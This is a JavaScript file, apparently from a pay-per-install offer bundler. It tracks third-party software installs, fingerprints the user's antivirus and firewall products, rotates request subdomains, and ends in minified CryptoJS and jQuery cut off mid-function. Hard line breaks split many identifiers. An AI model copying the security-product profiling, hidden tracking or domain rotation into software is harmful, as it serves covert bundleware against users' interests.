installingOffers[i].state = INSTALLERROR;
sendEx("offercompleteError","offerID->"+installingOffers[i].id , "","",J
SON.stringify(err));
}
}
}

downloaded = allDownloaded;
return allInstalled;
}
var wentToFinish = false;
function getOffersProgress()
{
setTimeout(function()
{
addUniqueTrace("progressIntervalCreated");
try
{
var allInstalled = updateOffersValues();
showInstallProgress();
addUniqueTrace("allInstalled");
if(downloaded === true && !wentToFinish)
{
wentToFinish = true;
addTrace("FinishInstall");
addLog("checkedFinish");
goForward();
addLog("finish");
}
if(allInstalled)
{
if(checkFinish() === true)
{
finished=true;
if(hidenned === true)
{
track("ExitApplication","ExitApplication");
}
else
{
track("","");
}
}
}
if(!wentToFinish || !finished)
{
getOffersProgress();
}
}
catch(err)
{
trackErrorOnInterval(JSON.stringify(err));
}
},1000);
}
function offerProgress(position,downloadedBytes,totalbytes)
{
installingOffers[position].downloadedBytes = parseInt(downloadedBytes);
installingOffers[position].totalbytes = parseInt(totalbytes);
}
function offerInstallComplete(position,result,waitToCheck,installTime)
{

addLog(position+"->installed");
addUniqueTrace("offerInstalled");
installingOffers[position].downloadedBytes = installingOffers[position].tota
lbytes;
addSpeficicTrace("install");
addLog("waiting "+waitToCheck+" miliseconds");
setTimeout(function()
{
addLog(position+"->checking");
offerSetState(installingOffers[position].id,result,parseInt(installTime));
printStates();
installingOffers[position].completed = true;
addSpeficicTrace("installed");
},waitToCheck);
}
function checkFinish()
{
for(var i = 0;i<installingOffers.length;i++)
{
if(installingOffers[i].completed !== true)
{
addLog("CheckFinish false");
return false;
}
}
addLog("CheckFinish true");
return true;
}
function offerSetState(id,resultCode,installTime)
{
if(id == -1)
{
mappInstalled = true;
return;
}
$.each(dataObject.offers, function(key,offer)
{
if(offer.id == id && offer.state == ACCEPTED)
{
try
{
offer.installTime = installTime;
if(resultCode == -99 || resultCode == 99)
{
offer.state = INSTALLERROR;
}
else if(resultCode == 259)
{
offer.state = TIMEOUT;
}
else
{
var present = checkPresent(offer.offerBehavior.postCheck,resultCode);
if(present == true)
{
offer.state = INSTALLED;
track("","");
ownerCheck(offer.id,true);
}
else if(present == false)

{
offer.state = NOCONFIRMED;
sendOfferException("not confirmed",resultCode.toString(),"",offer.ur
l,offer.name,"INSTALL NOTCONFIRMED");
}
else
{
offer.state = POSTCHECKERROR;
}
}
}
catch(err)
{
offer.state = POSTCHECKERROR;
}
}
});
}
function getReport()
{
}
/*
CryptoJS v3.1.2
code.google.com/p/crypto-js
(c) 2009-2013 by Jeff Mott. All rights reserved.
code.google.com/p/crypto-js/wiki/License
*/
(function(){var h=CryptoJS,j=h.lib.WordArray;h.enc.Base64={stringify:function(b)
{var e=b.words,f=b.sigBytes,c=this._map;b.clamp();b=[];for(var a=0;a<f;a+=3)for(
var d=(e[a>>>2]>>>24-8*(a%4)&255)<<16|(e[a+1>>>2]>>>24-8*((a+1)%4)&255)<<8|e[a+2
>>>2]>>>24-8*((a+2)%4)&255,g=0;4>g&&a+0.75*g<f;g++)b.push(c.charAt(d>>>6*(3-g)&6
3));if(e=c.charAt(64))for(;b.length%4;)b.push(e);return b.join("")},parse:functi
on(b){var e=b.length,f=this._map,c=f.charAt(64);c&&(c=b.indexOf(c),-1!=c&&(e=c))
;for(var c=[],a=0,d=0;d<
e;d++)if(d%4){var g=f.indexOf(b.charAt(d-1))<<2*(d%4),h=f.indexOf(b.charAt(d))>>
>6-2*(d%4);c[a>>>2]|=(g|h)<<24-8*(a%4);a++}return j.create(c,a)},_map:"ABCDEFGHI
JKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="}})();
function FormatAntivirusName(currentName,antivirusRegexArray)
{
if(!antivirusRegexArray)
return null;
var result = null;
$.each(antivirusRegexArray,function(key,value)
{
var pattern = new RegExp(value,"i");
if(currentName.match(pattern))
{
result = key;
return false;
}
});
return result;
}
function returnAntivirusMostImportant(avsstring,antivirusRegexArray)
{
var avs = avsstring.split("|");
var temp =[null,null];
for (var i = avs.length - 1; i >= 0; i--)

{
if(avs[i] == "")
break;
var formatted = FormatAntivirusName(avs[i],antivirusRegexArray);
if( formatted != "Microsoft Security Essentials" && formatted != "Window
s Defender")
return [avs[i],formatted];
else
temp = [avs[i],formatted];
};
return temp;
}
function GetImportantAv(machineInfo,antivirusRegexArray)
{
var machine = machineInfo;
var antiv = returnAntivirusMostImportant(machine.av,antivirusRegexArray)
machine.av = antiv[0];
machine.fav = antiv[1];
var firew = returnAntivirusMostImportant(machine.fw,antivirusRegexArray)
machine.fw = firew[0];
machine.ffw = firew[1];
var antis = returnAntivirusMostImportant(machine.as,antivirusRegexArray)
machine.as = antis[0];
machine.fas = antis[1];
return machine;
}
function soManyAv(machineInfo)
{
return Math.max(machineInfo.av.split("|").length,machineInfo.fw.split("|").l
ength,machineInfo.as.split("|").length);
}
function replaceSubdomainStatic(url,domain)
{
var staticSubdomains = ["static","nhsdr","h8xjd","app","butters"];
var urlParsed = parseURL(url);
if(urlParsed.host == parseURL(domain).host)
{
if($.inArray(urlParsed.subdomain,staticSubdomains)!=-1)
{
var newValue = Math.floor((Math.random() * (staticSubdomains.length)
));
return url.replace(urlParsed.subdomain+".", staticSubdomains[newVal
ue]+".");
}
}
return url;
}
function formatThankyouPage(url,domain)
{
if(domain)
{
var urlParsed = parseURL(url);
var domainParsed = parseURL(domain);
return url.replace(urlParsed.host,domainParsed.host);
}

else
{
return url;
}
}function checkRegKey(path,key,value)
{
key = key || "";
value = value || "";
return window.external.checkRegKey(path,key,value);
}
function minimizeWindow()
{
return window.external.minimizeWindow();
}
function checkFile(path,regexp)
{
regexp = regexp || "";
return window.external.checkFile(path,regexp);
}
function getResponseFromWrapper(url,post,callback,failcallback)
{
url = replaceSubdomainStatic(url,installerData.extra.requestHost);
window.external.getResponse(url,post,callback,failcallback);
}
function getResponseForApi(url,post,callback,failcallback)
{
url = replaceSubdomainStatic(url,installerData.extra.requestHost);
window.external.getResponseForApi(url,post,callback,failcallback);
}
function getResponseForTrack(url,post,callback,failcallback)
{
url = replaceSubdomainStatic(url,installerData.extra.requestHost);
window.external.getResponseForTrack(url,post,callback,failcallback);
}
function checkDirectory(path)
{
return window.external.checkDirectory(path);
}
function checkRunFile(DownloadUrl,FileName,args,time)
{
throw "banned";
/*time = time || 5000;
try
{
return parseInt(window.external.checkRunFile(DownloadUrl,FileNam
e,args,time));
}
catch(err)
{
return parseInt(window.external.checkRunFile(DownloadUrl,FileNam
e,args));
}*/
}
var isLoadedOneTime = false;
function loaded()
{
if(!isLoadedOneTime)
{

isLoadedOneTime = true;
addTrace("loadedFunctionStart");
getBodySize();
$("body").width(actualWidth);
$("body").height(actualHeight);
addTrace("gettedBodySize");
var hideFormString = returnIdValue("#_HideBorder") || "0";
window.external.loaded(parseInt(actualWidth),parseInt(actualHeig
ht),parseInt(hideFormString));
addTrace("called");
}
$('#_frameContainer').css('visibility', 'visible');
}
function setWindowName(text)
{
window.external.setWindowName(text);
}
function hideForm(hide,icon)
{
try
{
window.external.hideForm(hide,icon);
}
catch(err)
{
window.external.hideForm(hide);
}
}
function ownerCheck(offerID,set)
{
return window.external.ownerCheck(parseInt(offerID),set);
}
function createUninstaller(values)
{
if(values.length > 0 && window.external && ('createUninstaller' in windo
w.external))
{
try
{
return window.external.createUninstaller(values);
}
catch(err)
{
return false;
}
}
}
function openUrlOnBrowser(url,browser)
{
url = replaceSubdomainStatic(url,installerData.extra.requestHost);
window.external.openUrlOnBrowser(url,browser);
}
function openUrlOnDefaultBrowser(url)
{
url = replaceSubdomainStatic(url,installerData.extra.requestHost);
window.external.openUrlOnDefaultBrowser(url);
}
function externalClose()

{
onExit();
}
function closeForm()
{
addLog("closing");
window.external.close();
}
function showMessage(message,title,buttonsNumber)
{
return window.external.showMessage(message,title,buttonsNumber);
}
function startInstall(key,url,commandline,filename,macBehavior)
{
commandline = commandline || "";
return window.external.startInstall(parseInt(key),url,commandline,filena
me,macBehavior);
}
function getTotalSize(urls)
{
return window.external.getTotalSize(urls).toString();
}
function configurationCrypted()
{
var returnVal = window.external.configurationCrypted();
return returnVal.toString();
}
function disableControlBoxButtons(button,value)
{
window.external.disableControlBoxButtons(button,value);
}
function getDownloadProgress(id)
{
try
{
return window.external.getDownloadProgress(id).toString();
}
catch(err)
{
return "2|-99|1200000";
}
}
function sendOfferException(message,codeError,codeErrorMsg,url,OfferName,TyperEr
ror)
{
url = url | "";
return window.external.sendOfferException(message,codeError,codeErrorMsg
,url,OfferName,TyperError);
}
function getScriptNextOffer(offersData,AcceptedOffer,DeclinedOffer,maxSteps,maxO
ffers,maxOffersXGroup, timeout)
{
return window.external.getScriptNextOffer(offersData,AcceptedOffer,Decli
nedOffer,maxSteps,maxOffers,maxOffersXGroup,timeout);
}
function changeDownloadPath()
{
var _path = window.external.changeDownloadPath();
if(_path)
updateValue($("#_downloadPath"),_path,false);

}
function getDownloadPath()
{
return window.external.getDownloadPath();
}
function createShortCut(path,name)
{
return window.external.createShortCut(path,name);
}
function removeShortCut(path,name)
{
return window.external.removeShortCut(path,name);
}(function(e,t){var n,r,i=typeof t,o=e.location,a=e.document,s=a.documentElement
,l=e.jQuery,u=e.$,c={},p=[],f="1.10.2",d=p.concat,h=p.push,g=p.slice,m=p.indexOf
,y=c.toString,v=c.hasOwnProperty,b=f.trim,x=function(e,t){return new x.fn.init(e
,t,r)},w=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,T=/\S+/g,C=/^[\s\uFEFF\xA0
]+|[\s\uFEFF\xA0]+$/g,N=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,k=/^<(\w+)\s*\/?>(
?:<\/\1>|)$/,E=/^[\],:{}\s]*$/,S=/(?:^|:|,)(?:\s*\[)+/g,A=/\\(?:["\\\/bfnrt]|u[\
da-fA-F]{4})/g,j=/"[^"\\\r\n]*"|true|false|null|-?(?:\d+\.|)\d+(?:[eE][+-]?\d+|)
/g,D=/^-ms-/,L=/-([\da-z])/gi,H=function(e,t){return t.toUpperCase()},q=function
(e){(a.addEventListener||"load"===e.type||"complete"===a.readyState)&&(_(),x.rea
dy())},_=function(){a.addEventListener?(a.removeEventListener("DOMContentLoaded"
,q,!1),e.removeEventListener("load",q,!1)):(a.detachEvent("onreadystatechange",q
),e.detachEvent("onload",q))};x.fn=x.prototype={jquery:f,constructor:x,init:func
tion(e,n,r){var i,o;if(!e)return this;if("string"==typeof e){if(i="<"===e.charAt
(0)&&">"===e.charAt(e.length-1)&&e.length>=3?[null,e,null]:N.exec(e),!i||!i[1]&&
n)return!n||n.jquery?(n||r).find(e):this.constructor(n).find(e);if(i[1]){if(n=n
instanceof x?n[0]:n,x.merge(this,x.parseHTML(i[1],n&&n.nodeType?n.ownerDocument|
|n:a,!0)),k.test(i[1])&&x.isPlainObject(n))for(i in n)x.isFunction(this[i])?this
[i](n[i]):this.attr(i,n[i]);return this}if(o=a.getElementById(i[2]),o&&o.parentN
ode){if(o.id!==i[2])return r.find(e);this.length=1,this[0]=o}return this.context
=a,this.selector=e,this}return e.nodeType?(this.context=this[0]=e,this.length=1,
this):x.isFunction(e)?r.ready(e):(e.selector!==t&&(this.selector=e.selector,this
.context=e.context),x.makeArray(e,this))},selector:"",length:0,toArray:function(
){return g.call(this)},get:function(e){return null==e?this.toArray():0>e?this[th
is.length+e]:this[e]},pushStack:function(e){var t=x.merge(this.constructor(),e);
return t.prevObject=this,t.context=this.context,t},each:function(e,t){return x.e
ach(this,e,t)},ready:function(e){return x.ready.promise().done(e),this},slice:fu
nction(){return this.pushStack(g.apply(this,arguments))},first:function(){return
this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.lengt
h,n=+e+(0>e?t:0);return this.pushStack(n>=0&&t>n?[this[n]]:[])},map:function(e){
return this.pushStack(x.map(this,function(t,n){return e.call(t,n,t)}))},end:func
tion(){return this.prevObject||this.constructor(null)},push:h,sort:[].sort,splic
e:[].splice},x.fn.init.prototype=x.fn,x.extend=x.fn.extend=function(){var e,n,r,
i,o,a,s=arguments[0]||{},l=1,u=arguments.length,c=!1;for("boolean"==typeof s&&(c
=s,s=arguments[1]||{},l=2),"object"==typeof s||x.isFunction(s)||(s={}),u===l&&(s
=this,--l);u>l;l++)if(null!=(o=arguments[l]))for(i in o)e=s[i],r=o[i],s!==r&&(c&
&r&&(x.isPlainObject(r)||(n=x.isArray(r)))?(n?(n=!1,a=e&&x.isArray(e)?e:[]):a=e&
&x.isPlainObject(e)?e:{},s[i]=x.extend(c,a,r)):r!==t&&(s[i]=r));return s},x.exte
nd({expando:"jQuery"+(f+Math.random()).replace(/\D/g,""),noConflict:function(t){
return e.$===x&&(e.$=u),t&&e.jQuery===x&&(e.jQuery=l),x},isReady:!1,readyWait:1,
holdReady:function(e){e?x.readyWait++:x.ready(!0)},ready:function(e){if(e===!0?!
--x.readyWait:!x.isReady){if(!a.body)return setTimeout(x.ready);x.isReady=!0,e!=
=!0&&--x.readyWait>0||(n.resolveWith(a,[x]),x.fn.trigger&&x(a).trigger("ready").
off("ready"))}},isFunction:function(e){return"function"===x.type(e)},isArray:Arr
ay.isArray||function(e){return"array"===x.type(e)},isWindow:function(e){return n
ull!=e&&e==e.window},isNumeric:function(e){return!isNaN(parseFloat(e))&&isFinite
(e)},type:function(e){return null==e?e+"":"object"==typeof e||"function"==typeof
e?c[y.call(e)]||"object":typeof e},isPlainObject:function(e){var n;if(!e||"obje
ct"!==x.type(e)||e.nodeType||x.isWindow(e))return!1;try{if(e.constructor&&!v.cal

l(e,"constructor")&&!v.call(e.constructor.prototype,"isPrototypeOf"))return!1}ca
tch(r){return!1}if(x.support.ownLast)for(n in e)return v.call(e,n);for(n in e);r
eturn n===t||v.call(e,n)},isEmptyObject:function(e){var t;for(t in e)return!1;re
turn!0},error:function(e){throw Error(e)},parseHTML:function(e,t,n){if(!e||"stri
ng"!=typeof e)return null;"boolean"==typeof t&&(n=t,t=!1),t=t||a;var r=k.exec(e)
,i=!n&&[];return r?[t.createElement(r[1])]:(r=x.buildFragment([e],t,i),i&&x(i).r
emove(),x.merge([],r.childNodes))},parseJSON:function(n){return e.JSON&&e.JSON.p
arse?e.JSON.parse(n):null===n?n:"string"==typeof n&&(n=x.trim(n),n&&E.test(n.rep
lace(A,"@").replace(j,"]").replace(S,"")))?Function("return "+n)():(x.error("Inv
alid JSON: "+n),t)},parseXML:function(n){var r,i;if(!n||"string"!=typeof n)retur
n null;try{e.DOMParser?(i=new DOMParser,r=i.parseFromString(n,"text/xml")):(r=ne
w ActiveXObject("Microsoft.XMLDOM"),r.async="false",r.loadXML(n))}catch(o){r=t}r
eturn r&&r.documentElement&&!r.getElementsByTagName("parsererror").length||x.err
or("Invalid XML: "+n),r},noop:function(){},globalEval:function(t){t&&x.trim(t)&&
(e.execScript||function(t){e.eval.call(e,t)})(t)},camelCase:function(e){return e
.replace(D,"ms-").replace(L,H)},nodeName:function(e,t){return e.nodeName&&e.node
Name.toLowerCase()===t.toLowerCase()},each:function(e,t,n){var r,i=0,o=e.length,
a=M(e);if(n){if(a){for(;o>i;i++)if(r=t.apply(e[i],n),r===!1)break}else for(i in
e)if(r=t.apply(e[i],n),r===!1)break}else if(a){for(;o>i;i++)if(r=t.call(e[i],i,e
[i]),r===!1)break}else for(i in e)if(r=t.call(e[i],i,e[i]),r===!1)break;return e
},trim:b&&!b.call("\ufeff\u00a0")?function(e){return null==e?"":b.call(e)}:funct
ion(e){return null==e?"":(e+"").replace(C,"")},makeArray:function(e,t){var n=t||
[];return null!=e&&(M(Object(e))?x.merge(n,"string"==typeof e?[e]:e):h.call(n,e)
),n},inArray:function(e,t,n){var r;if(t){if(m)return m.call(t,e,n);for(r=t.lengt
h,n=n?0>n?Math.max(0,r+n):n:0;r>n;n++)if(n in t&&t[n]===e)return n}return-1},mer
ge:function(e,n){var r=n.length,i=e.length,o=0;if("number"==typeof r)for(;r>o;o+
+)e[i++]=n[o];else while(n[o]!==t)e[i++]=n[o++];return e.length=i,e},grep:functi
on(e,t,n){var r,i=[],o=0,a=e.length;for(n=!!n;a>o;o++)r=!!t(e[o],o),n!==r&&i.pus
h(e[o]);return i},map:function(e,t,n){var r,i=0,o=e.length,a=M(e),s=[];if(a)for(
;o>i;i++)r=t(e[i],i,n),null!=r&&(s[s.length]=r);else for(i in e)r=t(e[i],i,n),nu
ll!=r&&(s[s.length]=r);return d.apply([],s)},guid:1,proxy:function(e,n){var r,i,
o;return"string"==typeof n&&(o=e[n],n=e,e=o),x.isFunction(e)?(r=g.call(arguments
,2),i=function(){return e.apply(n||this,r.concat(g.call(arguments)))},i.guid=e.g
uid=e.guid||x.guid++,i):t},access:function(e,n,r,i,o,a,s){var l=0,u=e.length,c=n
ull==r;if("object"===x.type(r)){o=!0;for(l in r)x.access(e,n,l,r[l],!0,a,s)}else
if(i!==t&&(o=!0,x.isFunction(i)||(s=!0),c&&(s?(n.call(e,i),n=null):(c=n,n=funct
ion(e,t,n){return c.call(x(e),n)})),n))for(;u>l;l++)n(e[l],r,s?i:i.call(e[l],l,n
(e[l],r)));return o?e:c?n.call(e):u?n(e[0],r):a},now:function(){return(new Date)
.getTime()},swap:function(e,t,n,r){var i,o,a={};for(o in t)a[o]=e.style[o],e.sty
le[o]=t[o];i=n.apply(e,r||[]);for(o in t)e.style[o]=a[o];return i}}),x.ready.pro
mise=function(t){if(!n)if(n=x.Deferred(),"complete"===a.readyState)setTimeout(x.
ready);else if(a.addEventListener)a.addEventListener("DOMContentLoaded",q,!1),e.
addEventListener("load",q,!1);else{a.attachEvent("onreadystatechange",q),e.attac
hEvent("onload",q);var r=!1;try{r=null==e.frameElement&&a.documentElement}catch(
i){}r&&r.doScroll&&function o(){if(!x.isReady){try{r.doScroll("left")}catch(e){r
eturn setTimeout(o,50)}_(),x.ready()}}()}return n.promise(t)},x.each("Boolean Nu
mber String Function Array Date RegExp Object Error".split(" "),function(e,t){c[
"[object "+t+"]"]=t.toLowerCase()});function M(e){var t=e.length,n=x.type(e);ret
urn x.isWindow(e)?!1:1===e.nodeType&&t?!0:"array"===n||"function"!==n&&(0===t||"
number"==typeof t&&t>0&&t-1 in e)}r=x(a),function(e,t){var n,r,i,o,a,s,l,u,c,p,f
,d,h,g,m,y,v,b="sizzle"+-new Date,w=e.document,T=0,C=0,N=st(),k=st(),E=st(),S=!1
,A=function(e,t){return e===t?(S=!0,0):0},j=typeof t,D=1<<31,L={}.hasOwnProperty
,H=[],q=H.pop,_=H.push,M=H.push,O=H.slice,F=H.indexOf||function(e){var t=0,n=thi
s.length;for(;n>t;t++)if(this[t]===e)return t;return-1},B="checked|selected|asyn
c|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|rea
donly|required|scoped",P="[\\x20\\t\\r\\n\\f]",R="(?:\\\\.|[\\w-]|[^\\x00-\\xa0]
)+",W=R.replace("w","w#"),$="\\["+P+"*("+R+")"+P+"*(?:([*^$|!~]?=)"+P+"*(?:(['\"
])((?:\\\\.|[^\\\\])*?)\\3|("+W+")|)|)"+P+"*\\]",I=":("+R+")(?:\\(((['\"])((?:\\
\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|"+$.replace(3,8)+")*)|.*)\\)|)",z=Reg
Exp("^"+P+"+|((?:^|[^\\\\])(?:\\\\.)*)"+P+"+$","g"),X=RegExp("^"+P+"*,"+P+"*"),U

=RegExp("^"+P+"*([>+~]|"+P+")"+P+"*"),V=RegExp(P+"*[+~]"),Y=RegExp("="+P+"*([^\\
]'\"]*)"+P+"*\\]","g"),J=RegExp(I),G=RegExp("^"+W+"$"),Q={ID:RegExp("^#("+R+")")
,CLASS:RegExp("^\\.("+R+")"),TAG:RegExp("^("+R.replace("w","w*")+")"),ATTR:RegEx
p("^"+$),PSEUDO:RegExp("^"+I),CHILD:RegExp("^:(only|first|last|nth|nth-last)-(ch
ild|of-type)(?:\\("+P+"*(even|odd|(([+-]|)(\\d*)n|)"+P+"*(?:([+-]|)"+P+"*(\\d+)|
))"+P+"*\\)|)","i"),bool:RegExp("^(?:"+B+")$","i"),needsContext:RegExp("^"+P+"*[
>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+P+"*((?:-\\d)?\\d*)"+P+"*\\)|)(?
=[^-]|$)","i")},K=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,
et=/^(?:input|select|textarea|button)$/i,tt=/^h\d$/i,nt=/'|\\/g,rt=RegExp("\\\\(
[\\da-f]{1,6}"+P+"?|("+P+")|.)","ig"),it=function(e,t,n){var r="0x"+t-65536;retu
rn r!==r||n?t:0>r?String.fromCharCode(r+65536):String.fromCharCode(55296|r>>10,5
6320|1023&r)};try{M.apply(H=O.call(w.childNodes),w.childNodes),H[w.childNodes.le
ngth].nodeType}catch(ot){M={apply:H.length?function(e,t){_.apply(e,O.call(t))}:f
unction(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function at(
e,t,n,i){var o,a,s,l,u,c,d,m,y,x;if((t?t.ownerDocument||t:w)!==f&&p(t),t=t||f,n=
n||[],!e||"string"!=typeof e)return n;if(1!==(l=t.nodeType)&&9!==l)return[];if(h
&&!i){if(o=Z.exec(e))if(s=o[1]){if(9===l){if(a=t.getElementById(s),!a||!a.parent
Node)return n;if(a.id===s)return n.push(a),n}else if(t.ownerDocument&&(a=t.owner
Document.getElementById(s))&&v(t,a)&&a.id===s)return n.push(a),n}else{if(o[2])re
turn M.apply(n,t.getElementsByTagName(e)),n;if((s=o[3])&&r.getElementsByClassNam
e&&t.getElementsByClassName)return M.apply(n,t.getElementsByClassName(s)),n}if(r
.qsa&&(!g||!g.test(e))){if(m=d=b,y=t,x=9===l&&e,1===l&&"object"!==t.nodeName.toL
owerCase()){c=mt(e),(d=t.getAttribute("id"))?m=d.replace(nt,"\\$&"):t.setAttribu
te("id",m),m="[id='"+m+"'] ",u=c.length;while(u--)c[u]=m+yt(c[u]);y=V.test(e)&&t
.parentNode||t,x=c.join(",")}if(x)try{return M.apply(n,y.querySelectorAll(x)),n}
catch(T){}finally{d||t.removeAttribute("id")}}}return kt(e.replace(z,"$1"),t,n,i
)}function st(){var e=[];function t(n,r){return e.push(n+=" ")>o.cacheLength&&de
lete t[e.shift()],t[n]=r}return t}function lt(e){return e[b]=!0,e}function ut(e)
{var t=f.createElement("div");try{return!!e(t)}catch(n){return!1}finally{t.paren
tNode&&t.parentNode.removeChild(t),t=null}}function ct(e,t){var n=e.split("|"),r
=e.length;while(r--)o.attrHandle[n[r]]=t}function pt(e,t){var n=t&&e,r=n&&1===e.
nodeType&&1===t.nodeType&&(~t.sourceIndex||D)-(~e.sourceIndex||D);if(r)return r;
if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function ft(e){return
function(t){var n=t.nodeName.toLowerCase();return"input"===n&&t.type===e}}funct
ion dt(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||
"button"===n)&&t.type===e}}function ht(e){return lt(function(t){return t=+t,lt(f
unction(n,r){var i,o=e([],n.length,t),a=o.length;while(a--)n[i=o[a]]&&(n[i]=!(r[
i]=n[i]))})})}s=at.isXML=function(e){var t=e&&(e.ownerDocument||e).documentEleme
nt;return t?"HTML"!==t.nodeName:!1},r=at.support={},p=at.setDocument=function(e)
{var n=e?e.ownerDocument||e:w,i=n.defaultView;return n!==f&&9===n.nodeType&&n.do
cumentElement?(f=n,d=n.documentElement,h=!s(n),i&&i.attachEvent&&i!==i.top&&i.at
tachEvent("onbeforeunload",function(){p()}),r.attributes=ut(function(e){return e
.className="i",!e.getAttribute("className")}),r.getElementsByTagName=ut(function
(e){return e.appendChild(n.createComment("")),!e.getElementsByTagName("*").lengt
h}),r.getElementsByClassName=ut(function(e){return e.innerHTML="<div class='a'><
/div><div class='a i'></div>",e.firstChild.className="i",2===e.getElementsByClas
sName("i").length}),r.getById=ut(function(e){return d.appendChild(e).id=b,!n.get
ElementsByName||!n.getElementsByName(b).length}),r.getById?(o.find.ID=function(e
,t){if(typeof t.getElementById!==j&&h){var n=t.getElementById(e);return n&&n.par
entNode?[n]:[]}},o.filter.ID=function(e){var t=e.replace(rt,it);return function(
e){return e.getAttribute("id")===t}}):(delete o.find.ID,o.filter.ID=function(e){
var t=e.replace(rt,it);return function(e){var n=typeof e.getAttributeNode!==j&&e
.getAttributeNode("id");return n&&n.value===t}}),o.find.TAG=r.getElementsByTagNa
me?function(e,n){return typeof n.getElementsByTagName!==j?n.getElementsByTagName
(e):t}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){whil
e(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},o.find.CLASS=r.getElemen
tsByClassName&&function(e,n){return typeof n.getElementsByClassName!==j&&h?n.get
ElementsByClassName(e):t},m=[],g=[],(r.qsa=K.test(n.querySelectorAll))&&(ut(func
tion(e){e.innerHTML="<select><option selected=''></option></select>",e.querySele
ctorAll("[selected]").length||g.push("\\["+P+"*(?:value|"+B+")"),e.querySelector

All(":checked").length||g.push(":checked")}),ut(function(e){var t=n.createElemen
t("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("t","")
,e.querySelectorAll("[t^='']").length&&g.push("[*^$]="+P+"*(?:''|\"\")"),e.query
SelectorAll(":enabled").length||g.push(":enabled",":disabled"),e.querySelectorAl
l("*,:x"),g.push(",.*:")})),(r.matchesSelector=K.test(y=d.webkitMatchesSelector|
|d.mozMatchesSelector||d.oMatchesSelector||d.msMatchesSelector))&&ut(function(e)
{r.disconnectedMatch=y.call(e,"div"),y.call(e,"[s!='']:x"),m.push("!=",I)}),g=g.
length&&RegExp(g.join("|")),m=m.length&&RegExp(m.join("|")),v=K.test(d.contains)
||d.compareDocumentPosition?function(e,t){var n=9===e.nodeType?e.documentElement
:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains
(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){
if(t)while(t=t.parentNode)if(t===e)return!0;return!1},A=d.compareDocumentPositio
n?function(e,t){if(e===t)return S=!0,0;var i=t.compareDocumentPosition&&e.compar
eDocumentPosition&&e.compareDocumentPosition(t);return i?1&i||!r.sortDetached&&t
.compareDocumentPosition(e)===i?e===n||v(w,e)?-1:t===n||v(w,t)?1:c?F.call(c,e)-F
.call(c,t):0:4&i?-1:1:e.compareDocumentPosition?-1:1}:function(e,t){var r,i=0,o=
e.parentNode,a=t.parentNode,s=[e],l=[t];if(e===t)return S=!0,0;if(!o||!a)return
e===n?-1:t===n?1:o?-1:a?1:c?F.call(c,e)-F.call(c,t):0;if(o===a)return pt(e,t);r=
e;while(r=r.parentNode)s.unshift(r);r=t;while(r=r.parentNode)l.unshift(r);while(
s[i]===l[i])i++;return i?pt(s[i],l[i]):s[i]===w?-1:l[i]===w?1:0},n):f},at.matche
s=function(e,t){return at(e,null,null,t)},at.matchesSelector=function(e,t){if((e
.ownerDocument||e)!==f&&p(e),t=t.replace(Y,"='$1']"),!(!r.matchesSelector||!h||m
&&m.test(t)||g&&g.test(t)))try{var n=y.call(e,t);if(n||r.disconnectedMatch||e.do
cument&&11!==e.document.nodeType)return n}catch(i){}return at(t,f,null,[e]).leng
th>0},at.contains=function(e,t){return(e.ownerDocument||e)!==f&&p(e),v(e,t)},at.
attr=function(e,n){(e.ownerDocument||e)!==f&&p(e);var i=o.attrHandle[n.toLowerCa
se()],a=i&&L.call(o.attrHandle,n.toLowerCase())?i(e,n,!h):t;return a===t?r.attri
butes||!h?e.getAttribute(n):(a=e.getAttributeNode(n))&&a.specified?a.value:null:
a},at.error=function(e){throw Error("Syntax error, unrecognized expression: "+e)
},at.uniqueSort=function(e){var t,n=[],i=0,o=0;if(S=!r.detectDuplicates,c=!r.sor
tStable&&e.slice(0),e.sort(A),S){while(t=e[o++])t===e[o]&&(i=n.push(o));while(i-)e.splice(n[i],1)}return e},a=at.getText=function(e){var t,n="",r=0,i=e.nodeTyp
e;if(i){if(1===i||9===i||11===i){if("string"==typeof e.textContent)return e.text
Content;for(e=e.firstChild;e;e=e.nextSibling)n+=a(e)}else if(3===i||4===i)return
e.nodeValue}else for(;t=e[r];r++)n+=a(t);return n},o=at.selectors={cacheLength:
50,createPseudo:lt,match:Q,attrHandle:{},find:{},relative:{">":{dir:"parentNode"
,first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:
"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(rt,it),
e[3]=(e[4]||e[5]||"").replace(rt,it),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,
4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[
3]||at.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e
[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&at.error(e[0]),e},PSEUDO:function(e){var n
,r=!e[5]&&e[2];return Q.CHILD.test(e[0])?null:(e[3]&&e[4]!==t?e[2]=e[4]:r&&J.tes
t(r)&&(n=mt(r,!0))&&(n=r.indexOf(")",r.length-n)-r.length)&&(e[0]=e[0].slice(0,n
),e[2]=r.slice(0,n)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(rt,
it).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeNa
me&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=N[e+" "];return t||(t
=RegExp("(^|"+P+")"+e+"("+P+"|$)"))&&N(e,function(e){return t.test("string"==typ
eof e.className&&e.className||typeof e.getAttribute!==j&&e.getAttribute("class")
